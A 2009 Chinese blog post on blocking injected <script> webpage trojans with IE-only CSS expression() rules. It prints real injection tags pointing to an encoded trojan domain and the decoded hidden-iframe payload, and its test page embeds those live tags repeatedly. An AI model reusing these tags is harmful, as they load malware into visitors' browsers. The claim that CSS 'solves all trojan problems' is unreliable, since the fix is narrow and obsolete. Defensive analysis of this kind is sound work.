教你:两行代码解决网页木马

2009年6月21日星期日 | | |

  
         
    两行代码解决网页木马

前段时间,我渐渐感到压力,头大,通过QQ或MSN加我的人越来越多,我最近自己的工作本来就忙得不亦乐乎。哎,想想,还是要抽空来来帮帮大家。
前不久《一行代码解决iframe挂马(包含服务器端注入、客户端ARP注入等)》得到了很多朋友的认可,这确实是个避避风雨的好办法。可现在挂网马的方式真如我所料地改变了,现在流行挂<script>木马,汗了,看了几个网友的网站都被这样了——页面的顶部或底部加上了:

注意,以下地址含有木马,请不要轻易访问:

<script src=http://%76%63%63%64%2E%63%6E></script>

<script src=http://%76%63%63%64%2E%63%6E></script>

<script src=http://%76%63%63%64%2E%63%6E></script>

<script src=http://%76%63%63%64%2E%63%6E></script>

<script src=http://%76%63%63%64%2E%63%6E></script>

<script src=http://%76%63%63%64%2E%63%6E></script>

<script src=http://%76%63%63%64%2E%63%6E></script>

<script src=http://%76%63%63%64%2E%63%6E></script>

汗死,一连插入了N个一样的<script>标记。偶的电脑什么补丁都打了,直接访问这个http://%76%63%63%64%2E%63%6E(或直接使用迅雷下载),额~ 现形了:

document.write("<div style='display:none'>")

document.write("<iframe src=http://a.158dm.com/b1.htm?id=017 width=0 height=0></iframe>")

document.write("</div>")

又用迅雷下载http://a.158dm.com/b1.htm这个文件,一看,乱七八糟的JS编码,汗,不过找到了一个类似QQ号的数字,直接加加看,汗,然后是专业提供网马的组织,哎,什么世道。还收费蛮高滴呢!

...

var Kfqq, Qqs="*********"; qwfgsg="LLLL\\XXXXXLD"; Kfqq = Qqs;

(...略)(下面还有N个统计的JS代码)。

针对上面的情况,我也不能白白瞧着不管,想想办法吧,兄弟。喝了碗绿豆粥,糖放得蛮多的,好喝。办法想到了。稍微分析就得出了答案。大家来看看,<script>木马的特点是什么:

<script src=http://%76%63%63%64%2E%63%6E></script>

对了,script木马的src一般都是外域的,也就是src是以http打头的,如果是自己网站的script一般都不用加上http;再看看木马的原形,里面还是输出的iframe、JS代码或是其他<object>代码,不管这么多,来多少杀多少。

来跟我写CSS,一一搞定它们,我写了5种不同的方案,大家来测试一下哈:

解决方案1:

iframe{n1ifm:expression(this.src='about:blank',this.outerHTML='');}    /*这行代码是解决挂IFRAME木马的哦*/

script{nojs1:expression((this.src.toLowerCase().indexOf('http')==0)?document.write('木马被成功隔离!'):'');}

原理:将<script>标记的src拿出来转为小写,再看是不是以"http"开头的外域JS脚本文件,如果是,则页面内容清空并写出"木马被成功隔离!"。反之正常显示。

缺点:访客无法看到被感染了<script>木马的页面。

解决方案2:

iframe{nifm2:expression(this.src='about:blank',this.outerHTML='');}

script{no2js:expression((this.src.toLowerCase().indexOf('http')==0)?document.close():'');}

原理:将外域的JS文件的document.write()使用document.close()强制关闭。木马内容还没有来得及写完,只有部分被强制缓存输出了,剩下的不会再写了。

解决方案3:

iframe{ni3fm:expression(this.src='about:blank',this.outerHTML='');}

script{n3ojs:expression((this.src.toLowerCase().indexOf('http')==0)?document.execCommand('stop'):'');}

原理:同到外域的JS文件,立即调用IE私有的execCommand方法来停止页面所有请求,所以接下来的外域JS文件也被强制停止下载了。就像我们点了浏览器的"停止"按钮一样。看来这是JS模拟IE停止按钮的一种方法。

解决方案4:

iframe{nif4m:expression(this.src='about:blank',this.outerHTML='');}

script{noj4s:expression(if(this.src.indexOf('http')==0)this.src='res://ieframe.dll/dnserror.htm');}

原理:将外域的JS文件的src重写成本地IE404错误页面的地址,这样,外域的JS代码不会下载。

解决方案5:

iframe{nifm5:expression(this.src='about:blank',this.outerHTML='');}

script{noj5s:expression((this.id.toLowerCase().indexOf('lh')==0)?document.write('木马被成功隔离!'):''));}

第五种方案的页面HTML源代码<script>中要加入以"lh"为前缀的id,如 lhWeatherJSapi,<script src="***/**.js" id="lhSearchJSapi"></script> 

以下页面代码里含有一个木马地址,而且木马在页面里重复了6次,大家分别用我上面的不同方案测试一下,看看我的研究如何!(此测试有一定的危险性,请务必打好所有补丁再测试)

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">

<head>

<meta http-equiv="Content-Type" c />
<title>让JS木马的进程迅速中止的CSS代码</title>

<style type="text/css" id="Lin
rStudio">

/*<![CDATA[*/

iframe{nhk1:expression(this.src='about:blank',this.outerHTML='');}

script{ngz1:expression((this.src.indexOf('http')==0)?document.close():'');}

/* 以后请在此关注最新木马处理方法 */

/*]]>*/

</style>

</head>

<body>

<script type="text/javascript" src="1.js"></script>

<script src=http://%76%63%63%64%2E%63%6E></script>

<script src="http://%76%63%63%64%2E%63%6E" type="text/javascript"></script>

<script src=http://%76%63%63%64%2E%63%6E></script>

我是页面本身的1

<script src=http://%76%63%63%64%2E%63%6E></script>

我是页面本身的2

<script src=http://%76%63%63%64%2E%63%6E></script>

我是页面本身的3

<script src=http://%76%63%63%64%2E%63%6E></script>

</body>

</html>

其中1.js是自己本站的:

document.write("我是本站的JS文件");

document.write("<img src='' />");

我的测试环境是:

  Windows XP SP2 和windows Vista SP1

IE6/IE7/IE8

已全部打好补丁。

综上所述,所有目前的挂马方式全都破解了,用CSS就可以解决所有木马问题,访客不会再轻易地中毒了。

大家也要仔细研究一下,看看我的代码有什么BUG,有的话一定要拿出来讨论,好解决问题!或是各位有其他更好的办法可以拿出来讨论一下。

很晚了,我要睡觉了。有空再研究。

更正第五个方案

上面写到的第五个方案代码写错了,

<script src="***/**.js" id="lhSearchJSapi"></script>

script{noj5s:expression((this.id.toLowerCase().indexOf('lh')==0)?document.write('木马被成功隔离!'):''));}

红色字部分有错误,应该是!=-1,上面的正确写法应该是:

script{noj5s:expression((this.id.toLowerCase().indexOf('lh')==-1)?document.write('木马被成功隔离!'):''));}

script{noj5s:expression((this.id.toLowerCase().indexOf('vok')!=-1)?document.write('木马被成功隔离!'):''));}

[/code]<script id="tjJSapivok" title="这是你外域的统计流量的JS代码" type="text/javascript" src="http://js.tongji.yahoo.com.cn/1/188/205/ystat.js"></script>

<script id="otherJSapivok" title="这是你本站需要的JS文件" type="text/javascript" src="footer.js"></script>[/code]script{noj5s:expression((this.id.toLowerCase ().indexOf('vok')!=-1)?document.write('木马被成功隔离!'):''));}

<script id="footerJSapivok" src="这里写你本网站的JS路径" type="text/javascript"></script>

<script id="tongjiJSapivok" src="这里外域的JS路径" type="text/javascript"></script>

你网站的所有JS标记(<script>)都得加上id属性,并且有一个共同的前缀、后缀或公共字符串,上面的公共字符串为"vok"。

特此更正,感谢昵称为"网工"的QQ网友提醒。

研究网页挂马破坏用户的斗争还在继续,也不会停止。还望各位将服务器安全性能配置好点,我这也只是临时避避风雨的办法而已    
我的QQ空间
共享一下:在网页中常用的JavaScript代码
在网页中常用的JavaScript代码! 1>屏蔽功能类1.1 屏蔽键盘所...
 
 

0 评论:


所有文章收集于网络,如果有牵扯到版权问题请与本站站长联系。谢谢合作![email protected]